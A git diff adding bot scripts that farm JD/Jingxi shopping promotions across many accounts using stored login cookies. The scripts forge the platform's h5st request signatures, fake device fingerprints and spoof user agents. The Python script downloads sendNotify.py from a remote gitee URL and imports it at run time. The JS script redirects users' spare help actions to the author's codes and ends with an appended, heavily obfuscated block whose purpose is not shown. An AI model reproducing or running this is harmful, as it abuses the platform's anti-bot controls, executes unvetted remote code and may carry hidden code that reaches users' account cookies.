resp['data']['userInfo']['baseInfo']['nickname'] + return ck, nickname + else: + context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" + print(context) + return ck, False + except Exception: + context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" + print(context) + return ck, False + + def iscookie(self): + """ + :return: cookiesList,userNameList,pinNameList + """ + cookiesList = [] + userNameList = [] + pinNameList = [] + if 'pt_key=' in cookies and 'pt_pin=' in cookies: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + result = r.findall(cookies) + if len(result) >= 1: + print("您已配置{}个账号".format(len(result))) + u = 1 + for i in result: + r = re.compile(r"pt_pin=(.*?);") + pinName = r.findall(i) + pinName = unquote(pinName[0]) + # 获取账号名 + ck, nickname = self.getUserInfo(i, pinName, u) + if nickname != False: + cookiesList.append(ck) + userNameList.append(nickname) + pinNameList.append(pinName) + else: + u += 1 + continue + u += 1 + if len(cookiesList) > 0 and len(userNameList) > 0: + return cookiesList, userNameList, pinNameList + else: + print("没有可用Cookie,已退出") + exit(3) + else: + print("cookie 格式错误!...本次操作已退出") + exit(4) + else: + print("cookie 格式错误!...本次操作已退出") + exit(4) +getCk = getJDCookie() +getCk.getCookie() + +# 获取v4环境 特殊处理 +if os.path.exists(v4f): + try: + with open(v4f, 'r', encoding='utf-8') as f: + curenv = locals() + for i in f.readlines(): + r = re.compile(r'^export\s(.*?)=[\'\"]?([\w\.\-@#!&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', re.M | re.S | re.I) + r = r.findall(i) + if len(r) > 0: + for i in r: + if i[0] != 'JD_COOKIE': + curenv[i[0]] = getEnvs(i[1]) + except: + pass + +if "jxgc_kaituan" in os.environ: + if len(os.environ["jxgc_kaituan"]) > 1: + jxgc_kaituan = os.environ["jxgc_kaituan"] + if '&' in jxgc_kaituan: + jxgc_kaituan = jxgc_kaituan.replace('[', '').replace(']', '').replace('\'', '').replace(' ', '').split('&') + elif ',' in jxgc_kaituan: + jxgc_kaituan = jxgc_kaituan.replace('[', '').replace(']', '').replace('\'', '').replace(' ', '').split(',') + elif '@' in jxgc_kaituan: + jxgc_kaituan = jxgc_kaituan.replace('[', '').replace(']', '').replace('\'', '').replace(' ', '').split('@') + print("已获取并使用Env环境 jxgc_kaituan:", jxgc_kaituan) +if not isinstance(jxgc_kaituan, list): + jxgc_kaituan = jxgc_kaituan.split(" ") + +def getactiveId(): + global activeId + url = 'https://wqsd.jd.com/pingou/dream_factory/index.html' + headers = { + "Upgrade-Insecure-Requests": 1, + "User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Mobile Safari/537.36" + } + result = requests.get(url, headers, timeout=30).text + r = re.compile(r'activeId=(Xj2_.*?),') + r = r.findall(result) + if len(r) > 0: + activeId = r[0] + print(f"当前最新activeId【{activeId}】") + + +def get_sign(algo, data, key): + key = key.encode('utf-8') + message = data.encode('utf-8') + if algo == 'HmacSHA256': + algo = sha256 + elif algo == 'HmacSHA512': + algo = sha512 + elif algo == 'HmacMD5': + algo = md5 + elif algo == 'SHA256': + data_sha = sha256(data.encode('utf-8')).hexdigest() + return data_sha + elif algo == 'SHA512': + data_sha = sha512(data.encode('utf-8')).hexdigest() + return data_sha + elif algo == 'MD5': + data_sha = md5(data.encode('utf-8')).hexdigest() + return data_sha + else: + print("加密方式有误!") + return None + sign = hmac.new(key, message, digestmod=algo).hexdigest() + return sign + +def stimestamp(): + return round(time.time() * 1000) + +def snowtime(): + dateNow = datetime.datetime.now().strftime('%Y%m%d%H%M%s') + return dateNow[:17] + +def createFingerprint(): + a = ''.join(random.sample('0123456789578', 13)) + '{}'.format(stimestamp()) + return a[:16] + +def requestAlgo(st, time): + try: + fingerprint = createFingerprint() + timestamp = snowtime() + url = 'https://cactus.jd.com/request_algo?g_ty=ajax' + headers = { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': f'Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + } + body = { + "version": "1.0", + "fp": '{}'.format(fingerprint), + "appId": '10001', + "timestamp": stimestamp(), + "platform": "web", + "expandParams": "" + } + r = requests.post(url, headers=headers, data=json.dumps(body)).json() + if r['status'] == 200: + tk = r['data']['result']['tk'] + algo = r['data']['result']['algo'] + digestmod = re.findall(r'algo\.(\w+)\(', algo) + random = re.findall(r'random=\'(.*?)\';', algo) + if len(digestmod) > 0 and len(random) > 0: + str1 = tk + fingerprint + timestamp + str(appId) + random[0] + sign_1 = get_sign(digestmod[0], str1, tk) + sign_2 = get_sign('HmacSHA256', st, sign_1) + h5st = f'{timestamp};{fingerprint};{appId};{tk};{sign_2}' + return quote(h5st) + else: + return '20210719013616266;9380516527487162;10001;tk01wab221c7aa8nd3BUZVQ1WGtaMK+sxvDXNfSVujUpKaI09IAqtgAh5cX7cO7FGnxH0v1PkRxW+jTezknjx/gtPt6E;2eb7d74f89e12f1348f939909eaf509061bfe1ce25f5d138d0d1481438d79a31' + except Exception as e: + print(e) + return '20210719013616266;5462077388591162;10001;tk01wb2d81c27a8nQWdpRkR2Y3RaL3gQ/jH3eRdiIuTP9vzGiTKpzoHDDPonzXICHw4Lln9KXEa89nFvp4B3WygX4M7y;9e96e2f52fb8db4cb0c555866b123cf00e00a941241a43843e2bd0fd9c2eb144' +## +## 获取通知服务 +class msg(object): + def __init__(self, m): + self.str_msg = m + self.message() + def message(self): + global msg_info + print(self.str_msg) + try: + msg_info = "{}\n{}".format(msg_info, self.str_msg) + except: + msg_info = "{}".format(self.str_msg) + sys.stdout.flush() + def getsendNotify(self, a=0): + if a == 0: + a += 1 + try: + url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' + response = requests.get(url) + if 'curtinlv' in response.text: + with open('sendNotify.py', "w+", encoding="utf-8") as f: + f.write(response.text) + else: + if a < 5: + a += 1 + return self.getsendNotify(a) + else: + pass + except: + if a < 5: + a += 1 + return self.getsendNotify(a) + else: + pass + def main(self): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + self.getsendNotify() + try: + from sendNotify import send + except: + print("加载通知服务失败~") + else: + self.getsendNotify() + try: + from sendNotify import send + except: + print("加载通知服务失败~") + ################### +msg("").main() +############## + +def getResult(text): + try: + r = re.compile(r'try\s{jsonp.*?\((.*?)\)', re.M | re.S | re.I) + r = r.findall(text) + if len(r) > 0: + return json.loads(r[0]) + else: + return text + except Exception as e: + print(e) + return text +def buildURL(ck, url): + headers = { + 'Cookie': ck, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/divide.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'User-Agent': userAgent(), + 'Accept-Language': 'zh-cn' + } + try: + url = unquote(url) + time = re.findall(r'_time=(.*?)&', url)[0] + _stk = re.findall(r'_stk=(.*?)&', url)[0] + _stklist = _stk.split(',') + oh5st = re.findall(r'h5st=(.*?)&', url)[0] + names = locals() + st = '' + s = 0 + for i in range(len(_stklist)): + names[_stklist[i]] = re.findall(r"{0}=(.*?)&".format(_stklist[i]), url)[0] + if s == len(_stklist)-1: + st = st + str(_stklist[i]) + ':' + names[_stklist[i]] + else: + st = st + str(_stklist[i]) + ':' + names[_stklist[i]] + "&" + s += 1 + h5st = requestAlgo(st, time) + url = url.replace(oh5st, h5st) + # url1 = re.findall(r'(.*?\?)', url)[0] + # url2 = re.findall(r'https://m.jingxi.com/dreamfactory.*?\?(.*)', url)[0] + return headers, url + + except Exception as e: + print("buildURL Error", e) + return headers, url + +def QueryAllTuan(ck): + try: + AllTuan = [] + _time = stimestamp() + url = f'https://m.jingxi.com/dreamfactory/tuan/QueryAllTuan?activeId={activeId}&pageNo=1&pageSize=10&_time={_time}&_stk=_time%2CactiveId%2CpageNo%2CpageSize&_ste=1&h5st=20210724105729296%3B2467674280075162%3B10001%3Btk01wd39c1d7da8nL1htbzNBcHNnmnd2bEuQS%2FQohlxJNFyOR90QddNilWUQmE0YQnLVcpFrNUjse9fV6hmDawaHelzp%3Be247245ec2f99f76e05cdc80187dc718c90d3ae409ad9dee55dd412e350a64f6&_={int(_time)+12}&sceneval=2&g_login_type=1&callback=jsonpCBKF&g_ty=ls' + headers, url = buildURL(ck, url) + r = requests.get(url, headers=headers, timeout=30, verify=False).text + data = getResult(r) + for i in data['tuanInfo']: + AllTuan.append(i['tuanId']) + if len(AllTuan) > 0: + return AllTuan + else: + return False + except Exception as e: + print(e) + return False +def QueryActiveConfig(ck): + try: + _time = stimestamp() + url = f'https://m.jingxi.com/dreamfactory/tuan/QueryActiveConfig?activeId={activeId}&tuanId=&_time={_time}&_stk=_time%2CactiveId%2CtuanId&_ste=1&h5st=20210717213423401%3B4316088645437162%3B10001%3Btk01w692e1a35a8nelBVM0N0NEliPUhE8RRHmMdPdJCfVENO%2FE71ZoMM98S4V67ihTo7hDW75aJaU5V2XpU99JrsLPEF%3Bfd20eeaf2e88c127d898c14c6c941e80097a01c7d235c405316a08ab70709e20&_={int(_time) + 4}&sceneval=2&g_login_type=1&callback=jsonpCBKF&g_ty=ls' + headers, url = buildURL(ck, url) + r = requests.get(url, headers=headers, timeout=30, verify=False).text + data = getResult(r) + tuanId = data['data']['userTuanInfo']['tuanId'] + isOpenTuan = data['data']['userTuanInfo']['isOpenTuan'] + surplusOpenTuanNum = data['data']['userTuanInfo']['surplusOpenTuanNum'] + encryptPin = data['data']['userInfo']['encryptPin'] + return tuanId, isOpenTuan, surplusOpenTuanNum, encryptPin + except Exception as e: + print(data) + print("QueryActiveConfig Errpr", e) + +def Award(ck, tuanId): + global countElectric + try: + _time = stimestamp() + tuanIdList = QueryAllTuan(ck) + if tuanIdList: + for i in tuanIdList: + url = f'https://m.jingxi.com/dreamfactory/tuan/Award?activeId={activeId}&tuanId={i}&_time={_time}&_stk=_time%2CactiveId%2CtuanId&_ste=1&h5st=20210718191447407%3B7117923136170161%3B10001%3Btk01wbabf1c6fa8nVWEzUnhGbkVXu%2BU5JvIH0sBY5KdtN%2FeUVwp%2FzPwCL7k9379OjujqfoLqoyJBK57podKunhi70f1O%3B434f9d888ab5f727dc6bae9fd0122d18165bc800f3de4ce70b0fd9b4bc23561d&_={int(_time)+12}&sceneval=2&g_login_type=1&callback=jsonpCBKF&g_ty=ls' + headers, url = buildURL(ck, url) + r = requests.get(url, headers=headers, timeout=30, verify=False).text + data = getResult(r) + if data['msg'] == 'OK': + electric = data['data']['electric'] + print(f"账号【{userNameList[ckNum]}】:获取电力 :{electric}") + try: + countElectric['{0}'.format(userNameList[ckNum])] += electric + except: + countElectric['{0}'.format(userNameList[ckNum])] = electric + else: + print(f"账号【{userNameList[ckNum]}】:{data['msg']}") + except Exception as e: + print("Award Error ", e) +def CreateTuan(ck): + try: + tuanId, isOpenTuan, surplusOpenTuanNum, encryptPin = QueryActiveConfig(ck) + if surplusOpenTuanNum != 0: + _time = stimestamp() + url = f'https://m.jingxi.com/dreamfactory/tuan/CreateTuan?activeId={activeId}&isOpenApp=1&_time={_time}&_stk=_time%2CactiveId%2CisOpenApp&_ste=1&h5st=20210717213421615%3B4316088645437162%3B10001%3Btk01w692e1a35a8nelBVM0N0NEliPUhE8RRHmMdPdJCfVENO%2FE71ZoMM98S4V67ihTo7hDW75aJaU5V2XpU99JrsLPEF%3Bfe30749da12b4aab179b7fa95c4f7c20f46fda2cc50228293a47a337f1b3b734&_={int(_time) + 4}&sceneval=2&g_login_type=1&callback=jsonpCBKE&g_ty=ls' + headers, url = buildURL(ck, url) + r = requests.get(url, headers=headers, timeout=30, verify=False).text + getResult(r) + return tuanId, surplusOpenTuanNum + else: + return tuanId, surplusOpenTuanNum + except Exception as e: + print("CreateTuan Error", e) + +def JoinTuan(ck, tuanId, u, suser, user): + global cookiesList + try: + _time = stimestamp() + url = f'https://m.jingxi.com/dreamfactory/tuan/JoinTuan?activeId={activeId}&tuanId={tuanId}&_time={_time}&_stk=_time%2CactiveId%2CtuanId&_ste=1&h5st=20210717213558108%3B7117923136170161%3B10001%3Btk01wbabf1c6fa8nVWEzUnhGbkVXu%2BU5JvIH0sBY5KdtN%2FeUVwp%2FzPwCL7k9379OjujqfoLqoyJBK57podKunhi70f1O%3B81b27455ee7e75153e85c3ebb3bb4ada876200faa31d0e792037390b79ce5eff&_={int(_time) + 103}&sceneval=2&g_login_type=1&callback=jsonpCBKF&g_ty=ls' + headers, url = buildURL(ck, url) + r = requests.get(url, headers=headers, timeout=30, verify=False).text + data = getResult(r) + ret = data['ret'] + if ret == 0: + print(f"用户{u}【{user}】=>【{suser}】:{data['msg']} 加团成功谢谢你~") + cookiesList.remove(ck) + return False + elif ret == 10209: + print(f"【{suser}】:{data['msg']}") + return True + elif ret == 10005: + print(f"用户{u}【{user}】=>【{suser}】:{data['msg']}") + return False + else: + print(f"用户{u}【{user}】=>【{suser}】:{data['msg']}") + return False + except Exception as e: + print("JoinTuan Error", e) + + + +def start(): + scriptName = '### 京喜工厂-开团 ###' + print(scriptName) + global cookiesList, userNameList, pinNameList, ckNum + cookiesList, userNameList, pinNameList = getCk.iscookie() + setUserNum = len(jxgc_kaituan) + if setUserNum > 0: + pass + else: + print("提示:你还没设置开团的账号,变量:export jxgc_kaituan=\"用户1&用户2\"") + print(f"本次默认给【账号1】{userNameList[0]}开团") + jxgc_kaituan.append(userNameList[0]) + getactiveId() + for ckname in jxgc_kaituan: + try: + ckNum = userNameList.index(ckname) + except Exception as e: + try: + ckNum = pinNameList.index(unquote(ckname)) + except: + print(f"请检查被助力账号【{ckname}】名称是否正确?提示:助力名字可填pt_pin的值、也可以填账号名。") + continue + userName = userNameList[ckNum] + s = 1 + for i in range(3): + print(f"【{userNameList[ckNum]}】开始第{i+1}次开团") + tuanId, surplusOpenTuanNum = CreateTuan(cookiesList[ckNum]) + if i+1 == 1: + s_label = surplusOpenTuanNum + else: + if surplusOpenTuanNum == s_label: + print(f'好友没有助力机会了') + break + if tuanId: + u = 1 + for i in cookiesList: + if i == cookiesList[ckNum]: + u += 1 + continue + if JoinTuan(i, tuanId, u, suser=userName, user=userNameList[cookiesList.index(i)]): + Award(cookiesList[ckNum], tuanId) + break + u += 1 + else: + print(f'用户【{userName}】,今天已完成所有团。') + break + s += 1 + Award(cookiesList[ckNum], "") + try: + u = 1 + for name in countElectric.keys(): + if u == 1: + msg("\n###【本次统计 {}】###\n".format(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))) + msg(f"账号【{name}】\n\t└成功领取电力:{countElectric[name]}") + u += 1 + if '成功领取电力' in msg_info: + send(scriptName, msg_info) + except: + pass +if __name__ == '__main__': + start() \ No newline at end of file diff --git a/backUp/jd_jxlhb.js b/backUp/jd_jxlhb.js new file mode 100644 index 0000000..6e0e9d2 --- /dev/null +++ b/backUp/jd_jxlhb.js @@ -0,0 +1,394 @@ +/* +京喜领88元红包 +活动入口:京喜app-》我的-》京喜领88元红包 +助力逻辑:先自己京东账号相互助力,如有剩余助力机会,则助力作者 +温馨提示:如提示助力火爆,可尝试寻找京东客服 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#京喜领88元红包 +4 3,13,21 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js, tag=京喜领88元红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +==============Loon============== +[Script] +cron "4 3,13,21 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js,tag=京喜领88元红包 + +================Surge=============== +京喜领88元红包 = type=cron,cronexp="4 3,13,21 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js + +===============小火箭========== +京喜领88元红包 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js, cronexpr="4 3,13,21 * * *", timeout=3600, enable=true + */ +const $ = new Env('京喜领88元红包'); +const notify = $.isNode() ? require('./sendNotify') : {}; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : {}; +let cookiesArr = [], cookie = ''; +let UA, UAInfo = {}, codeInfo = {}, token; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +$.packetIdArr = []; +$.activeId = '525597'; +const BASE_URL = 'https://m.jingxi.com/cubeactive/steprewardv3' +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log('京喜领88元红包\n' + + '活动入口:京喜app-》我的-》京喜领88元红包\n' + + '助力逻辑:先自己京东账号相互助力,如有剩余助力机会,则助力作者\n' + + '温馨提示:如提示助力火爆,可尝试寻找京东客服') + let res = await getAuthorShareCode('') + if (!res) { + $.http.get({url: ''}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode('') + } + if (res && res.activeId) $.activeId = res.activeId; + let res2 = await getAuthorShareCode('') + if (!res2) { + await $.wait(1000) + res2 = await getAuthorShareCode('') + } + $.authorMyShareIds = [...((res && res.codes) || []),...(res2 || [])]; + //开启红包,获取互助码 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true + $.nickName = '' + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + token = await getJxToken() + await main(); + } + //互助 + console.log(`\n\n自己京东账号助力码:\n${JSON.stringify($.packetIdArr)}\n\n`); + console.log(`\n开始助力:助力逻辑 先自己京东相互助力,如有剩余助力机会,则助力作者\n`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + UA = UAInfo[$.UserName] + token = await getJxToken() + for (let j = 0; j < $.packetIdArr.length && $.canHelp; j++) { + console.log(`【${$.UserName}】去助力【${$.packetIdArr[j].userName}】邀请码:${$.packetIdArr[j].strUserPin}`); + if ($.UserName === $.packetIdArr[j].userName) { + console.log(`助力失败:不能助力自己`) + continue + } + $.max = false; + await enrollFriend($.packetIdArr[j].strUserPin); + await $.wait(5000); + if ($.max) { + $.packetIdArr.splice(j, 1) + j-- + continue + } + } + if ($.canHelp && ($.authorMyShareIds && $.authorMyShareIds.length)) { + console.log(`\n【${$.UserName}】有剩余助力机会,开始助力作者\n`) + for (let j = 0; j < $.authorMyShareIds.length && $.canHelp; j++) { + console.log(`【${$.UserName}】去助力作者的邀请码:${$.authorMyShareIds[j]}`); + $.max = false; + await enrollFriend($.authorMyShareIds[j]); + await $.wait(5000); + if ($.max) { + $.authorMyShareIds.splice(j, 1) + j-- + continue + } + } + } + } + //拆红包 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.canOpenGrade = true; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + UA = UAInfo[$.UserName] + token = await getJxToken() + for (let grade of $.grades) { + if (!codeInfo[$.UserName]) continue; + console.log(`\n【${$.UserName}】去拆第${grade}个红包`); + await openRedPack(codeInfo[$.UserName], grade); + if (!$.canOpenGrade) break + await $.wait(15000); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + await joinActive(); + await $.wait(2000) + await getUserInfo() +} +//参与活动 +function joinActive() { + return new Promise(resolve => { + const body = "" + const options = taskurl('JoinActive', body, 'activeId,channel,phoneid,publishFlag,stepreward_jstoken,timestamp'); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log('开启活动', data) + data = JSON.parse(data) + if (data.iRet === 0) { + console.log(`活动开启成功,助力邀请码为:${data.Data.strUserPin}\n`); + } else { + console.log(`活动开启失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//获取助力码 +function getUserInfo() { + return new Promise(resolve => { + const body = `joinDate=${$.time('yyyyMMdd')}`; + const options = taskurl('GetUserInfo', body, 'activeId,channel,joinDate,phoneid,publishFlag,timestamp'); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log('获取助力码', data) + data = JSON.parse(data) + if (data.iRet === 0) { + $.grades = [] + $.helpNum = '' + let grades = data.Data.gradeConfig + for(let key of Object.keys(grades)){ + let vo = grades[key] + $.grades.push(vo.dwGrade) + $.helpNum = vo.dwHelpTimes + } + if (data.Data.dwHelpedTimes === $.helpNum) { + console.log(`${$.grades[$.grades.length - 1]}个阶梯红包已全部拆完\n`) + } else { + console.log(`获取助力码成功:${data.Data.strUserPin}\n`); + if (data.Data.strUserPin) { + $.packetIdArr.push({ + strUserPin: data.Data.strUserPin, + userName: $.UserName + }) + } + } + if (data.Data.strUserPin) { + codeInfo[$.UserName] = data.Data.strUserPin + } + } else { + console.log(`获取助力码失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//助力好友 +function enrollFriend(strPin) { + return new Promise(resolve => { + // console.log('\nstrPin ' + strPin); + const body = `strPin=${strPin}&joinDate=${$.time('yyyyMMdd')}` + const options = taskurl('EnrollFriend', body, 'activeId,channel,joinDate,phoneid,publishFlag,strPin,timestamp'); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.log(JSON.stringify(err)); + } else { + // console.log('助力结果', data) + data = JSON.parse(data) + if (data.iRet === 0) { + //{"Data":{"prizeInfo":[]},"iRet":0,"sErrMsg":"成功"} + console.log(`助力成功🎉:${data.sErrMsg}\n`); + // if (data.Data.strUserPin) $.packetIdArr.push(data.Data.strUserPin); + } else { + if (data.iRet === 2000) $.canHelp = false;//未登录 + if (data.iRet === 2015) $.canHelp = false;//助力已达上限 + if (data.iRet === 2016) { + $.canHelp = false;//助力火爆 + console.log(`温馨提示:如提示助力火爆,可尝试寻找京东客服`); + } + if (data.iRet === 2013) $.max = true; + console.log(`助力失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function openRedPack(strPin, grade) { + return new Promise(resolve => { + const body = `strPin=${strPin}&grade=${grade}` + const options = taskurl('DoGradeDraw', body, 'activeId,channel,grade,phoneid,publishFlag,stepreward_jstoken,strPin,timestamp'); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(`拆红包结果:${data}`); + data = JSON.parse(data) + if (data.iRet === 0) { + console.log(`拆红包成功:${data.sErrMsg}\n`); + } else { + if (data.iRet === 2017) $.canOpenGrade = false; + console.log(`拆红包失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function taskurl(function_path, body = '', stk) { + let url = `${BASE_URL}/${function_path}?activeId=${$.activeId}&publishFlag=1&channel=7&${body}&sceneval=2&g_login_type=1×tamp=${token['timestamp']}&_=${Date.now() + 2}&_ste=1` + url += `&phoneid=${token['phoneid']}` + url += `&stepreward_jstoken=${token['farm_jstoken']}` + if (stk) { + url += '&_stk=' + encodeURIComponent(stk) + } + return { + url: url, + headers: { + 'Host': 'm.jingxi.com', + 'Cookie': cookie, + 'Accept': "*/*", + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': UA, + 'Accept-Language': 'zh-cn', + 'Referer': `https://act.jingxi.com/cube/front/activePublish/step_reward/${$.activeId}.html` + } + } +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else 